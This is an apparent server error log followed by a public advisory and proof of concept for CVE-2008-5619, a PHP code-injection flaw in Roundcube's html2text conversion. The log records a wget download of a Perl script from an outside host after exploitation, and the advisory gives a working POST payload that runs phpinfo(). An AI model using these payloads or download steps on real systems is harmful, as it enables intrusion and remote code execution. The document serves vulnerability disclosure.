[Wed Feb 04 02:46:45 2009] [error] [client 217.174.240.137] PHP Notice: Undefined variable: in /var/www/html/roundcube/program/lib/html2text.inc(381) : regexp code on line 1[Wed Feb 04 02:46:45 2009] [error] [client 217.174.240.137] PHP Notice: Use of undefined constant HTTP_ACCEPT - assumed 'HTTP_ACCEPT' in /var/www/html/roundcube/program/lib/html2text.inc(381) : regexp code on line 1--02:46:45-- http://www.alexutz.host.sk/dor.pl => `dor.pl'Resolving www.alexutz.host.sk... 62.168.109.150Connecting to www.alexutz.host.sk|62.168.109.150|:80... connected.HTTP request sent, awaiting response... 200 OKLength: 31,578 (31K) [text/x-perl] 0K .......... .......... .......... 100% 61.52 KB/s02:46:53 (61.52 KB/s) - `dor.pl' saved [31578/31578]
Public Release Date of POC: 2008-12-22Author: Jacobo Avariento Gimeno (Sofistic)CVE id: CVE-2008-5619Bugtraq id: 32799Severity: CriticalVulnerability reported by: RealMurphyIntro----Roundcube Webmail is a browser-based IMAP client that uses"chuggnutt.com HTML to Plain Text Conversion" library to convertHTML text to plain text, this library uses the preg_replace PHPfunction in an insecure manner.Vulnerable versions:Round Cube RoundCube Webmail 0.2-3 betaRound Cube RoundCube Webmail 0.2-1 alpha (tested)Analysis of the vulnerable code----The script bin/html2text.php creates an instance of the class html2textwith the given POST data, the problem arises in the fileprogram/lib/html2text.php in function _convert() on line 381: // Run our defined search-and-replace $text = preg_replace($this->search, $this->replace, $text);Some patterns in $this->search allow interpret PHP code using the "e"flag, i.e.:'/]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // '/]*>(.+?)<\/b>/ie', // '/]*>(.+?)<\/th>/ie', // and In concrete those would be replaced by:'$this->_build_link_list("\\2", "\\3")', // 'strtoupper("\\1")', // "strtoupper(\"\t\t\\1\n\")", // and Now using PHP complex (curly) syntax we can take advantage of this tointerpret arbitrary PHP code, evaluating PHP code embedded insidestrings.Proof of Concept----As this vulnerability was discovered in-the-wild:http://trac.roundcube.net/ticket/1485618 was quite sure that would beexploitable, using PHP curly we can execute phpinfo():wget -q --header="Content-Type: ''" \-O - --post-data='{${phpinfo()}}' \--no-check-certificate \http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.phpUsing PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpcto avoid using single or double quotes the arbitrary shell commandexecution is fully feasible. As this vulnerability was discovered lastweek no more details will be published yet, more info will be availableat http://sofistic.net.-- Jacobo Avariento Gimeno IT Security Department @ Sofistic Your security, our concern! http://sofistic.net # milw0rm.com [2008-12-22]
